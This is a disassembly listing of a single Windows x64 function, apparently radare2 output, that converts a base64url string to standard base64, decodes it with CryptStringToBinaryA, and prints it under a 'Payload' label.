je 0x1400d2995
mov r8d, ebp
mov rdx, rdi
mov rcx, rax
mov ebx, ebp
call fcn.14011b4a0
test ebp, ebp
je 0x1400d28eb
mov rcx, rsi
movzx eax, byte [rcx]
cmp al, 0x2d
jne 0x1400d28d2
mov byte [rcx], reloc.ODBC32.dll_SQLGetData
jmp 0x1400d28e2
cmp al, 0x5f
jne 0x1400d28db
mov byte [rcx], 0x2f
jmp 0x1400d28e2
test al, al
jne 0x1400d28e2
mov byte [rcx], 0x3d
inc rcx
sub rbx, 1
jne 0x1400d28c6
xor edi, edi
lea rax, [rsp + 0x68]
mov qword [rsp + 0x30], rdi
xor r9d, r9d
mov qword [rsp + 0x28], rdi
xor edx, edx
mov rcx, rsi
mov dword [rsp + 0x68], edi
lea r8d, [rdi + 1]
mov qword [rsp + 0x20], rax
mov ebx, edi
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
je 0x1400d296c
mov edx, dword [rsp + 0x68]
lea ecx, [rdi + 0x40]
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbx, rax
test rax, rax
je 0x1400d296c
mov qword [rsp + 0x30], rdi
lea rax, [rsp + 0x68]
mov qword [rsp + 0x28], rdi
lea r8d, [rdi + 1]
mov r9, rbx
mov qword [rsp + 0x20], rax
xor edx, edx
mov rcx, rsi
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov edi, eax
test eax, eax
jne 0x1400d296c
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, rsi
jmp 0x1400d298f
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LocalFree]
test edi, edi
je 0x1400d2995
mov edx, dword [rsp + 0x68]
lea rcx, str.Payload:__.S_n
mov r8, rbx
call fcn.14000afb0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rbp, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x70]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_LocalFree]
add rsp, 0x40
pop r14
pop rdi
pop rbx
ret